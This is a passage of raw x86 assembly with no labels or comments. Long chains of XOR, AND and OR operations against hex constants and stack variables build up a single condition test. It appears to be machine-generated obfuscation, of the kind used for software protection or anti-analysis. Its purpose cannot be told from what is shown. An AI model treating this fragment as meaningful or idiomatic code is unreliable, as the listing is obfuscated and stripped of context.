mov eax, esi
xor eax, 0xffffffff
and eax, 0xa6b16473
mov edi, dword [ebp - 0x4054]
xor edi, 0xa6b16473
and esi, edi
mov ebx, ecx
xor ebx, 0xffffffff
and ebx, 0xa6b16473
and ecx, edi
or eax, esi
or ebx, ecx
xor eax, ebx
mov ecx, dword [ebp - 0x4054]
xor ecx, 0x40000000
and ecx, 0xe7b17e92
mov esi, dword [ebp - 0x4054]
xor esi, 0xe7b17e92
mov edi, esi
and edi, 0x40000000
mov ebx, dword [ebp - 0x4054]
xor ebx, 0xffffffff
and ebx, 0xe7b17e92
and esi, 0xffffffff
or ecx, edi
or ebx, esi
xor ecx, ebx
xor ecx, 0xffffffff
xor ecx, 0xb62f188c
and ecx, 0xb62f188c
mov esi, dword [ebp - 0x4054]
xor esi, 0xb62f188c
and esi, 0xffffffff
mov edi, dword [ebp - 0x4054]
xor edi, 0xffffffff
and edi, 0xb62f188c
or esi, edi
mov edi, esi
xor edi, 0xffffffff
xor edi, 0x40000000
and edi, 0x40000000
mov ebx, dword [ebp - 0x4054]
xor ebx, 0xffffffff
and ebx, 0xbc0bade3
mov dword [ebp - 0x4204], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xbc0bade3
mov dword [ebp - 0x4208], eax
and eax, 0xffffffff
mov dword [ebp - 0x420c], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xffffffff
and eax, 0xbc0bade3
mov dword [ebp - 0x4210], eax
mov eax, dword [ebp - 0x4208]
and eax, 0xffffffff
mov dword [ebp - 0x4214], eax
mov eax, dword [ebp - 0x420c]
or ebx, eax
mov eax, dword [ebp - 0x4210]
mov dword [ebp - 0x4218], ecx
mov ecx, dword [ebp - 0x4214]
or eax, ecx
xor ebx, eax
xor ebx, 0xffffffff
mov eax, dword [ebp - 0x4054]
xor eax, 0xb62f188c
mov ecx, dword [ebp - 0x4054]
xor ecx, 0x57024be1
or ebx, eax
or ecx, 0x57024be1
xor ebx, 0xffffffff
and ebx, ecx
xor esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xffffffff
mov eax, dword [ebp - 0x4218]
xor eax, 0xffffffff
mov ecx, edi
xor ecx, 0xffffffff
mov dword [ebp - 0x421c], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xcead5c1e
mov dword [ebp - 0x4220], eax
mov eax, dword [ebp - 0x421c]
and eax, 0xcead5c1e
mov dword [ebp - 0x4224], eax
mov eax, dword [ebp - 0x4218]
mov dword [ebp - 0x4228], ecx
mov ecx, dword [ebp - 0x4220]
and eax, ecx
mov ecx, dword [ebp - 0x4228]
and ecx, 0xcead5c1e
mov dword [ebp - 0x422c], eax
mov eax, dword [ebp - 0x4220]
and edi, eax
mov eax, dword [ebp - 0x4224]
mov dword [ebp - 0x4230], ecx
mov ecx, dword [ebp - 0x422c]
or eax, ecx
mov ecx, dword [ebp - 0x4230]
or ecx, edi
xor eax, ecx
mov ecx, dword [ebp - 0x421c]
mov edi, dword [ebp - 0x4228]
or ecx, edi
xor ecx, 0xffffffff
mov edi, dword [ebp - 0x4220]
or edi, 0xcead5c1e
and ecx, edi
or eax, ecx
mov ecx, ebx
and ecx, esi
xor ebx, esi
or ecx, ebx
mov esi, eax
xor esi, 0xffffffff
mov edi, ecx
and edi, esi
xor ecx, 0xffffffff
and eax, ecx
or edi, eax
mov eax, dword [ebp - 0x4054]
xor eax, 0x17c0fa9d
and eax, 0xffffffff
mov ecx, dword [ebp - 0x4054]
xor ecx, 0xffffffff
and ecx, 0x17c0fa9d
or eax, ecx
mov ecx, dword [ebp - 0x4054]
xor ecx, 0xd9520eb9
xor eax, 0xffffffff
mov esi, dword [ebp - 0x4054]
xor esi, 0xe789444c
or ecx, eax
or esi, 0xe789444c
xor ecx, 0xffffffff
and ecx, esi
mov eax, dword [ebp - 0x4054]
xor eax, 0xd9520eb9
and eax, 0x780c4031
mov esi, dword [ebp - 0x4054]
xor esi, 0x780c4031
mov ebx, esi
and ebx, 0xd9520eb9
mov dword [ebp - 0x4234], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xffffffff
and eax, 0x780c4031
and esi, 0xffffffff
mov dword [ebp - 0x4238], eax
mov eax, dword [ebp - 0x4234]
or eax, ebx
mov ebx, dword [ebp - 0x4238]
or ebx, esi
xor eax, ebx
mov esi, eax
xor esi, 0xffffffff
xor esi, 0x17c0fa9d
and esi, 0x17c0fa9d
mov ebx, dword [ebp - 0x4054]
xor ebx, 0xffffffff
and ebx, 0xb5273bfc
mov dword [ebp - 0x423c], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xb5273bfc
mov dword [ebp - 0x4240], eax
and eax, 0xffffffff
mov dword [ebp - 0x4244], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xffffffff
and eax, 0xb5273bfc
mov dword [ebp - 0x4248], eax
mov eax, dword [ebp - 0x4240]
and eax, 0xffffffff
mov dword [ebp - 0x424c], eax
mov eax, dword [ebp - 0x4244]
or ebx, eax
mov eax, dword [ebp - 0x4248]
mov dword [ebp - 0x4250], ecx
mov ecx, dword [ebp - 0x424c]
or eax, ecx
xor ebx, eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xd9520eb9
mov ecx, ebx
xor ecx, eax
and ecx, ebx
mov eax, dword [ebp - 0x4054]
xor eax, 0xffffffff
mov ebx, dword [ebp - 0x423c]
xor ebx, 0xffffffff
mov dword [ebp - 0x4254], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0x90012a39
mov dword [ebp - 0x4258], eax
mov eax, dword [ebp - 0x4254]
or eax, ebx
mov ebx, dword [ebp - 0x4258]
or ebx, 0x90012a39
xor eax, 0xffffffff
and eax, ebx
mov ebx, dword [ebp - 0x4250]
xor ebx, 0xffffffff
mov dword [ebp - 0x425c], eax
mov eax, esi
xor eax, 0xffffffff
mov dword [ebp - 0x4260], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xd9ad3bbc
mov dword [ebp - 0x4264], eax
mov eax, ebx
and eax, 0xd9ad3bbc
mov dword [ebp - 0x4268], eax
mov eax, dword [ebp - 0x4250]
mov dword [ebp - 0x426c], ecx
mov ecx, dword [ebp - 0x4264]
and eax, ecx
mov ecx, dword [ebp - 0x4260]
and ecx, 0xd9ad3bbc
mov dword [ebp - 0x4270], eax
mov eax, dword [ebp - 0x4264]
and esi, eax
mov eax, dword [ebp - 0x4268]
mov dword [ebp - 0x4274], ecx
mov ecx, dword [ebp - 0x4270]
or eax, ecx
mov ecx, dword [ebp - 0x4274]
or ecx, esi
xor eax, ecx
mov ecx, dword [ebp - 0x4260]
or ebx, ecx
xor ebx, 0xffffffff
mov esi, dword [ebp - 0x4264]
or esi, 0xd9ad3bbc
and ebx, esi
or eax, ebx
mov esi, dword [ebp - 0x426c]
mov ebx, dword [ebp - 0x425c]
and esi, ebx
mov ecx, dword [ebp - 0x426c]
xor ecx, ebx
or esi, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xea745eb1
mov ebx, dword [ebp - 0x4054]
xor ebx, 0xea745eb1
and eax, ebx
mov dword [ebp - 0x4278], eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xea745eb1
and esi, ebx
mov ebx, dword [ebp - 0x4278]
or ecx, ebx
or eax, esi
xor ecx, eax
mov eax, dword [ebp - 0x4204]
xor eax, 0xffffffff
mov esi, edi
xor esi, 0xffffffff
mov ebx, dword [ebp - 0x4054]
xor ebx, 0xd529309b
or eax, esi
or ebx, 0xd529309b
xor eax, 0xffffffff
and eax, ebx
mov esi, dword [ebp - 0x4204]
xor esi, 0xffffffff
mov ebx, edi
and ebx, esi
xor edi, 0xffffffff
mov esi, dword [ebp - 0x4204]
and esi, edi
or ebx, esi
mov esi, eax
xor esi, 0xffffffff
mov edi, ebx
xor edi, 0xffffffff
mov dword [ebp - 0x427c], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xad679eb9
mov dword [ebp - 0x4280], eax
mov eax, esi
and eax, 0xad679eb9
mov dword [ebp - 0x4284], eax
mov eax, dword [ebp - 0x427c]
mov dword [ebp - 0x4288], ecx
mov ecx, dword [ebp - 0x4280]
and eax, ecx
mov ecx, edi
and ecx, 0xad679eb9
mov dword [ebp - 0x428c], eax
mov eax, dword [ebp - 0x4280]
and ebx, eax
mov eax, dword [ebp - 0x4284]
mov dword [ebp - 0x4290], ecx
mov ecx, dword [ebp - 0x428c]
or eax, ecx
mov ecx, dword [ebp - 0x4290]
or ecx, ebx
xor eax, ecx
or esi, edi
xor esi, 0xffffffff
mov ecx, dword [ebp - 0x4280]
or ecx, 0xad679eb9
and esi, ecx
or eax, esi
mov ecx, dword [ebp - 0x4054]
xor ecx, 0x17c0fa9d
mov esi, dword [ebp - 0x4288]
xor esi, 0xffffffff
mov edi, dword [ebp - 0x4054]
xor edi, 0xb53b6bdb
or ecx, esi
or edi, 0xb53b6bdb
xor ecx, 0xffffffff
and ecx, edi
mov esi, dword [ebp - 0x4054]
xor esi, 0x17c0fa9d
and esi, 0x14e1e54f
mov edi, dword [ebp - 0x4054]
xor edi, 0x14e1e54f
mov ebx, edi
and ebx, 0x17c0fa9d
mov dword [ebp - 0x4294], eax
mov eax, dword [ebp - 0x4288]
xor eax, 0xffffffff
and eax, 0x14e1e54f
mov dword [ebp - 0x4298], eax
mov eax, dword [ebp - 0x4288]
and eax, edi
or esi, ebx
mov edi, dword [ebp - 0x4298]
or edi, eax
xor esi, edi
mov eax, ecx
and eax, esi
xor ecx, esi
or eax, ecx
mov ecx, dword [ebp - 0x4294]
xor ecx, 0xffffffff
and ecx, 0x87520e6d
mov esi, dword [ebp - 0x4054]
xor esi, 0x87520e6d
mov edi, dword [ebp - 0x4294]
and edi, esi
mov ebx, dword [ebp - 0x4054]
xor ebx, 0xffffffff
and ebx, 0x87520e6d
and esi, 0xffffffff
or ecx, edi
or ebx, esi
xor ecx, ebx
mov esi, dword [ebp - 0x4054]
xor esi, 0xffffffff
xor ecx, 0xffffffff
mov edi, dword [ebp - 0x4054]
xor edi, 0xbbca48cd
or esi, ecx
or edi, 0xbbca48cd
xor esi, 0xffffffff
and esi, edi
mov ecx, dword [ebp - 0x4054]
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov edi, dword [ebp - 0x4054]
xor edi, 0xffffffff
and edi, 0xffffffff
or ecx, edi
mov edi, dword [ebp - 0x4294]
xor edi, 0xffffffff
xor ecx, 0xffffffff
mov ebx, dword [ebp - 0x4054]
xor ebx, 0xd9d4074
or edi, ecx
or ebx, 0xd9d4074
xor edi, 0xffffffff
and edi, ebx
mov ecx, esi
and ecx, edi
xor esi, edi
or ecx, esi
mov esi, ecx
xor esi, 0xffffffff
and esi, 0xeec91c92
mov edi, dword [ebp - 0x4054]
xor edi, 0xeec91c92
and ecx, edi
mov ebx, dword [ebp - 0x4054]
xor ebx, 0xffffffff
and ebx, 0xeec91c92
and edi, 0xffffffff
or esi, ecx
or ebx, edi
xor esi, ebx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov edi, dword [ebp - 0x4054]
xor edi, 0xffffffff
and eax, edi
or ecx, eax
mov eax, dword [ebp - 0x4054]
xor eax, 0x717b6bc0
and eax, 0xbdfb4ad3
mov edi, dword [ebp - 0x4054]
xor edi, 0xbdfb4ad3
mov ebx, edi
and ebx, 0x717b6bc0
mov dword [ebp - 0x429c], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xffffffff
and eax, 0xbdfb4ad3
and edi, 0xffffffff
mov dword [ebp - 0x42a0], eax
mov eax, dword [ebp - 0x429c]
or eax, ebx
mov ebx, dword [ebp - 0x42a0]
or ebx, edi
xor eax, ebx
mov edi, esi
xor edi, 0xffffffff
mov ebx, ecx
xor ebx, 0xffffffff
mov dword [ebp - 0x42a4], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0x836f87e2
mov dword [ebp - 0x42a8], eax
mov eax, edi
and eax, 0x836f87e2
mov dword [ebp - 0x42ac], eax
mov eax, dword [ebp - 0x42a8]
and esi, eax
mov eax, ebx
and eax, 0x836f87e2
mov dword [ebp - 0x42b0], eax
mov eax, dword [ebp - 0x42a8]
and ecx, eax
mov eax, dword [ebp - 0x42ac]
or eax, esi
mov esi, dword [ebp - 0x42b0]
or esi, ecx
xor eax, esi
or edi, ebx
xor edi, 0xffffffff
mov ecx, dword [ebp - 0x42a8]
or ecx, 0x836f87e2
and edi, ecx
or eax, edi
mov ecx, dword [ebp - 0x4054]
xor ecx, 0x717b6bc0
mov esi, dword [ebp - 0x42a4]
xor esi, 0xffffffff
mov edi, dword [ebp - 0x4054]
xor edi, 0x6be6fe73
mov ebx, ecx
and ebx, 0x6be6fe73
mov dword [ebp - 0x42b4], eax
mov eax, edi
and eax, 0x717b6bc0
mov dword [ebp - 0x42b8], eax
mov eax, esi
and eax, 0x6be6fe73
mov dword [ebp - 0x42bc], eax
mov eax, dword [ebp - 0x42a4]
and eax, edi
mov dword [ebp - 0x42c0], eax
mov eax, dword [ebp - 0x42b8]
or ebx, eax
mov eax, dword [ebp - 0x42bc]
mov dword [ebp - 0x42c4], ecx
mov ecx, dword [ebp - 0x42c0]
or eax, ecx
xor ebx, eax
mov eax, dword [ebp - 0x42c4]
or eax, esi
xor eax, 0xffffffff
or edi, 0x6be6fe73
and eax, edi
or ebx, eax
mov eax, dword [ebp - 0x42b4]
xor eax, 0xffffffff
and eax, 0x30a9175c
mov ecx, dword [ebp - 0x4054]
xor ecx, 0x30a9175c
mov esi, dword [ebp - 0x42b4]
and esi, ecx
mov edi, dword [ebp - 0x4054]
xor edi, 0xffffffff
and edi, 0x30a9175c
and ecx, 0xffffffff
or eax, esi
or edi, ecx
xor eax, edi
xor eax, 0xffffffff
xor ebx, 0xffffffff
mov ecx, dword [ebp - 0x4054]
xor ecx, 0xdb1a5c30
or eax, ebx
or ecx, 0xdb1a5c30
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, byte [ebp - 0x4029]
xor cl, 1
mov ch, al
and ch, cl
mov bl, byte [ebp - 0x4029]
xor bl, 1
and bl, 0xff
and cl, 1
or ah, ch
or bl, cl
xor ah, bl
mov cl, byte [ebp - 0x4029]
xor cl, 0
xor ah, 0xff
mov ch, byte [ebp - 0x4029]
xor ch, 1
or cl, ah
or ch, 1
xor cl, 0xff
and cl, ch
mov ah, byte [ebp - 0x4029]
xor ah, 0
and ah, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
and ch, 0
or ah, ch
mov ch, ah
xor ch, 0xff
mov bl, al
xor bl, ch
and bl, al
mov ch, byte [ebp - 0x4029]
xor ch, 1
and ch, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 1
or ch, bh
mov bh, byte [ebp - 0x4029]
xor bh, 0
mov byte [ebp - 0x42c5], al
mov al, ch
xor al, bh
and al, ch
mov ch, byte [ebp - 0x4029]
xor ch, 1
xor ah, 0xff
mov bh, byte [ebp - 0x4029]
xor bh, 0
or ch, ah
or bh, 0
xor ch, 0xff
and ch, bh
mov ah, cl
and ah, bl
xor cl, bl
or ah, cl
mov cl, al
xor cl, 0xff
mov bl, ch
xor bl, 0xff
mov bh, byte [ebp - 0x4029]
xor bh, 1
mov byte [ebp - 0x42c6], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x42c7], al
mov al, byte [ebp - 0x42c6]
and al, bh
mov byte [ebp - 0x42c8], al
mov al, bl
and al, 0xff
and ch, bh
mov byte [ebp - 0x42c9], al
mov al, byte [ebp - 0x42c7]
mov byte [ebp - 0x42ca], cl
mov cl, byte [ebp - 0x42c8]
or al, cl
mov cl, byte [ebp - 0x42c9]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x42ca]
or cl, bl
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
and ah, ch
mov bl, al
xor bl, 0xff
and bl, 0xff
and al, ch
or cl, ah
or bl, al
xor cl, bl
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
and ah, 1
or al, ah
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
and cl, ch
or ah, cl
mov cl, byte [ebp - 0x4029]
xor cl, 0
and cl, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
and ch, 0
or cl, ch
mov ch, al
xor ch, 0xff
mov bl, ah
xor bl, 0xff
mov bh, byte [ebp - 0x4029]
xor bh, 1
mov byte [ebp - 0x42cb], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x42cc], al
mov al, byte [ebp - 0x42cb]
and al, bh
mov byte [ebp - 0x42cd], al
mov al, bl
and al, 0xff
and ah, bh
mov byte [ebp - 0x42ce], al
mov al, byte [ebp - 0x42cc]
mov byte [ebp - 0x42cf], cl
mov cl, byte [ebp - 0x42cd]
or al, cl
mov cl, byte [ebp - 0x42ce]
or cl, ah
xor al, cl
or ch, bl
xor ch, 0xff
or bh, 1
and ch, bh
or al, ch
mov cl, byte [ebp - 0x42cf]
and cl, 0
mov ah, byte [ebp - 0x42cf]
xor ah, 0
or cl, ah
mov ah, al
xor ah, 0xff
and ah, 0
mov ch, byte [ebp - 0x4029]
xor ch, 0
and al, ch
mov bl, byte [ebp - 0x4029]
xor bl, 1
and bl, 0
and ch, 1
or ah, al
or bl, ch
xor ah, bl
xor cl, 0xff
mov al, ah
xor al, cl
and al, ah
mov cl, byte [ebp - 0x4029]
xor cl, 1
and cl, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
and ah, 1
or cl, ah
mov ah, byte [ebp - 0x4029]
xor ah, 1
xor cl, 0xff
mov ch, byte [ebp - 0x4029]
xor ch, 0
or ah, cl
or ch, 0
xor ah, 0xff
and ah, ch
mov cl, byte [ebp - 0x4029]
xor cl, 1
and cl, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
and ch, 1
or cl, ch
mov ch, byte [ebp - 0x4029]
xor ch, 1
mov bl, cl
xor bl, 0xff
mov bh, byte [ebp - 0x4029]
xor bh, 1
or ch, bl
or bh, 1
xor ch, 0xff
and ch, bh
mov bl, byte [ebp - 0x4029]
xor bl, 1
and bl, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
mov byte [ebp - 0x42d0], al
mov al, bh
and al, 1
mov byte [ebp - 0x42d1], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x42d2], al
mov al, byte [ebp - 0x42d1]
or bl, al
mov al, byte [ebp - 0x42d2]
or al, bh
xor bl, al
xor bl, 0xff
mov al, byte [ebp - 0x4029]
xor al, 1
mov bh, byte [ebp - 0x4029]
xor bh, 0
or bl, al
or bh, 0
xor bl, 0xff
and bl, bh
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov al, ah
xor al, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x42d3], al
mov al, byte [ebp - 0x4029]
xor al, 0
mov byte [ebp - 0x42d4], al
mov al, byte [ebp - 0x42d3]
and al, 0
mov byte [ebp - 0x42d5], al
mov al, byte [ebp - 0x42d4]
and ah, al
mov al, bh
and al, 0
mov byte [ebp - 0x42d6], al
mov al, byte [ebp - 0x42d4]
and ch, al
mov al, byte [ebp - 0x42d5]
or al, ah
mov ah, byte [ebp - 0x42d6]
or ah, ch
xor al, ah
mov ah, byte [ebp - 0x42d3]
or ah, bh
xor ah, 0xff
mov ch, byte [ebp - 0x42d4]
or ch, 0
and ah, ch
or al, ah
mov ah, bl
and ah, cl
xor bl, cl
or ah, bl
mov cl, al
xor cl, 0xff
mov ch, ah
and ch, cl
xor ah, 0xff
and al, ah
or ch, al
mov al, byte [ebp - 0x42c5]
xor al, 0xff
and al, 1
mov cl, byte [ebp - 0x4029]
xor cl, 1
mov ah, byte [ebp - 0x42c5]
and ah, cl
or al, ah
mov cl, ch
xor cl, 0xff
and cl, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
mov bl, ch
and bl, ah
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 0xff
and ah, 1
or cl, bl
or bh, ah
xor cl, bh
mov ah, byte [ebp - 0x4029]
xor ah, 0
and ah, 1
mov bl, byte [ebp - 0x4029]
xor bl, 1
mov bh, bl
and bh, 0
mov byte [ebp - 0x42d7], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0xff
and bl, 1
or ah, bh
or al, bl
xor ah, al
mov al, byte [ebp - 0x42d7]
and al, cl
mov bl, byte [ebp - 0x42d7]
xor bl, cl
or al, bl
mov cl, byte [ebp - 0x4029]
xor cl, 0
mov bl, ah
xor bl, 0xff
mov bh, byte [ebp - 0x4029]
xor bh, 1
mov byte [ebp - 0x42d8], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x42d9], al
mov al, bh
and al, 0
mov byte [ebp - 0x42da], al
mov al, bl
and al, 0xff
and ah, bh
mov byte [ebp - 0x42db], al
mov al, byte [ebp - 0x42d9]
mov byte [ebp - 0x42dc], cl
mov cl, byte [ebp - 0x42da]
or al, cl
mov cl, byte [ebp - 0x42db]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x42dc]
or cl, bl
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x42d8]
xor cl, 0xff
and cl, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
mov bl, byte [ebp - 0x42d8]
and bl, ah
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 0xff
and ah, 1
or cl, bl
or bh, ah
xor cl, bh
xor al, 0xff
mov ah, cl
xor ah, al
and ah, cl
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 1
mov cl, byte [ebp - 0x4029]
xor cl, 1
mov bl, cl
and bl, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 0xff
and cl, 1
or al, bl
or bh, cl
xor al, bh
mov cl, byte [ebp - 0x4029]
xor cl, 1
xor al, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 0
or cl, al
or bl, 0
xor cl, 0xff
and cl, bl
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 1
mov bl, byte [ebp - 0x4029]
xor bl, 1
and bl, 1
or al, bl
mov bl, byte [ebp - 0x4029]
xor bl, 1
xor al, 0xff
mov bh, byte [ebp - 0x4029]
xor bh, 0
or bl, al
or bh, 0
xor bl, 0xff
and bl, bh
mov al, cl
and al, bl
xor cl, bl
or al, cl
mov cl, byte [ebp - 0x4029]
xor cl, 1
and cl, 1
mov bl, byte [ebp - 0x4029]
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x42dd], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0xff
and bl, 1
or cl, bh
or al, bl
xor cl, al
mov al, byte [ebp - 0x42dd]
xor al, 0xff
mov bl, cl
and bl, al
xor cl, 0xff
mov al, byte [ebp - 0x42dd]
and al, cl
or bl, al
xor bl, 0xff
mov al, byte [ebp - 0x42dd]
xor al, 0xff
mov cl, byte [ebp - 0x4029]
xor cl, 0
or bl, al
or cl, 0
xor bl, 0xff
and bl, cl
mov al, ch
xor al, 0xff
and al, 0
mov cl, byte [ebp - 0x4029]
xor cl, 0
and ch, cl
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 0
and cl, 1
or al, ch
or bh, cl
xor al, bh
mov cl, byte [ebp - 0x4029]
xor cl, 1
mov ch, al
and ch, cl
xor al, 0xff
and al, 1
or ch, al
mov al, byte [ebp - 0x4029]
xor al, 1
mov cl, ch
xor cl, al
and cl, ch
mov al, ah
xor al, 0xff
mov ch, byte [ebp - 0x42d0]
xor ch, al
mov al, byte [ebp - 0x42d0]
and ch, al
xor al, 0xff
mov bh, ah
and bh, al
xor ah, 0xff
mov al, byte [ebp - 0x42d0]
and al, ah
or bh, al
mov al, ch
xor al, 0xff
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0x42de], al
mov al, byte [ebp - 0x4029]
xor al, 0
mov byte [ebp - 0x42df], al
mov al, byte [ebp - 0x42de]
and al, 0
mov byte [ebp - 0x42e0], al
mov al, byte [ebp - 0x42df]
and ch, al
mov al, ah
and al, 0
mov byte [ebp - 0x42e1], al
mov al, byte [ebp - 0x42df]
and bh, al
mov al, byte [ebp - 0x42e0]
or al, ch
mov ch, byte [ebp - 0x42e1]
or ch, bh
xor al, ch
mov ch, byte [ebp - 0x42de]
or ch, ah
xor ch, 0xff
mov ah, byte [ebp - 0x42df]
or ah, 0
and ch, ah
or al, ch
mov ah, bl
xor ah, 0xff
and ah, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
mov bh, bl
and bh, ch
mov byte [ebp - 0x42e2], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0xff
and ch, 1
or ah, bh
or al, ch
xor ah, al
mov al, cl
xor al, 0xff
and al, 0
mov ch, byte [ebp - 0x4029]
xor ch, 0
mov bh, cl
and bh, ch
mov byte [ebp - 0x42e3], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0
and ch, 1
mov byte [ebp - 0x42e4], al
mov al, byte [ebp - 0x42e3]
or al, bh
mov bh, byte [ebp - 0x42e4]
or bh, ch
xor al, bh
mov ch, byte [ebp - 0x4029]
xor ch, 1
and ch, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
mov byte [ebp - 0x42e5], al
mov al, bh
and al, 1
mov byte [ebp - 0x42e6], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x42e7], al
mov al, byte [ebp - 0x42e6]
or ch, al
mov al, byte [ebp - 0x42e7]
or al, bh
xor ch, al
mov al, ah
xor al, 0xff
mov bh, byte [ebp - 0x4029]
xor bh, 1
mov byte [ebp - 0x42e8], al
mov al, byte [ebp - 0x4029]
xor al, 1
mov byte [ebp - 0x42e9], al
mov al, byte [ebp - 0x42e8]
or al, bh
mov bh, byte [ebp - 0x42e9]
or bh, 1
xor al, 0xff
and al, bh
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x42ea], al
mov al, bl
xor al, bh
and al, bl
mov bl, byte [ebp - 0x42e5]
xor bl, 0xff
mov bh, byte [ebp - 0x4029]
xor bh, 1
mov byte [ebp - 0x42eb], al
mov al, byte [ebp - 0x4029]
xor al, 0
or bl, bh
or al, 0
xor bl, 0xff
and bl, al
mov al, ch
xor al, 0xff
mov bh, cl
xor bh, al
and bh, cl
mov al, byte [ebp - 0x42ea]
xor al, 0xff
mov cl, byte [ebp - 0x42eb]
xor cl, 0xff
mov byte [ebp - 0x42ec], al
mov al, byte [ebp - 0x4029]
xor al, 0
mov byte [ebp - 0x42ed], al
mov al, byte [ebp - 0x42ec]
and al, 0
mov byte [ebp - 0x42ee], al
mov al, byte [ebp - 0x42ea]
mov byte [ebp - 0x42ef], cl
mov cl, byte [ebp - 0x42ed]
and al, cl
mov cl, byte [ebp - 0x42ef]
and cl, 0
mov byte [ebp - 0x42f0], al
mov al, byte [ebp - 0x42eb]
mov byte [ebp - 0x42f1], cl
mov cl, byte [ebp - 0x42ed]
and al, cl
mov cl, byte [ebp - 0x42ee]
mov byte [ebp - 0x42f2], al
mov al, byte [ebp - 0x42f0]
or cl, al
mov al, byte [ebp - 0x42f1]
mov byte [ebp - 0x42f3], cl
mov cl, byte [ebp - 0x42f2]
or al, cl
mov cl, byte [ebp - 0x42f3]
xor cl, al
mov al, byte [ebp - 0x42ec]
mov byte [ebp - 0x42f4], cl
mov cl, byte [ebp - 0x42ef]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x42ed]
or cl, 0
and al, cl
mov cl, byte [ebp - 0x42f4]
or cl, al
mov al, bl
xor al, 0xff
mov byte [ebp - 0x42f5], al
mov al, bh
xor al, 0xff
mov byte [ebp - 0x42f6], al
mov al, byte [ebp - 0x4029]
xor al, 0
mov byte [ebp - 0x42f7], al
mov al, byte [ebp - 0x42f5]
and al, 0
mov byte [ebp - 0x42f8], al
mov al, byte [ebp - 0x42f7]
and bl, al
mov al, byte [ebp - 0x42f6]
and al, 0
mov byte [ebp - 0x42f9], al
mov al, byte [ebp - 0x42f7]
and bh, al
mov al, byte [ebp - 0x42f8]
or al, bl
mov bl, byte [ebp - 0x42f9]
or bl, bh
xor al, bl
mov bl, byte [ebp - 0x42f5]
mov bh, byte [ebp - 0x42f6]
or bl, bh
xor bl, 0xff
mov bh, byte [ebp - 0x42f7]
or bh, 0
and bl, bh
or al, bl
mov bl, cl
xor bl, 0xff
and bl, 0
mov bh, byte [ebp - 0x4029]
xor bh, 0
and cl, bh
mov byte [ebp - 0x42fa], al
xor al, 0xff
and al, 0
mov byte [ebp - 0x42fb], al
mov al, byte [ebp - 0x42fa]
and al, bh
or bl, cl
mov cl, byte [ebp - 0x42fb]
or cl, al
xor bl, cl
mov al, ah
mov cl, byte [ebp - 0x42e5]
and al, cl
xor ah, cl
or al, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
and al, bh
mov cl, byte [ebp - 0x4029]
xor cl, 1
and cl, 0xff
and bh, 1
or ah, al
or cl, bh
xor ah, cl
mov al, ch
and al, 1
xor ch, 1
or al, ch
xor ah, 0xff
xor al, 0xff
mov cl, byte [ebp - 0x4029]
xor cl, 0
or ah, al
or cl, 0
xor ah, 0xff
and ah, cl
mov al, bl
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov ch, byte [ebp - 0x4029]
xor ch, 0
mov bh, al
and bh, 0
and bl, ch
mov byte [ebp - 0x42fc], al
mov al, cl
and al, 0
and ah, ch
or bh, bl
or al, ah
xor bh, al
mov al, byte [ebp - 0x42fc]
or al, cl
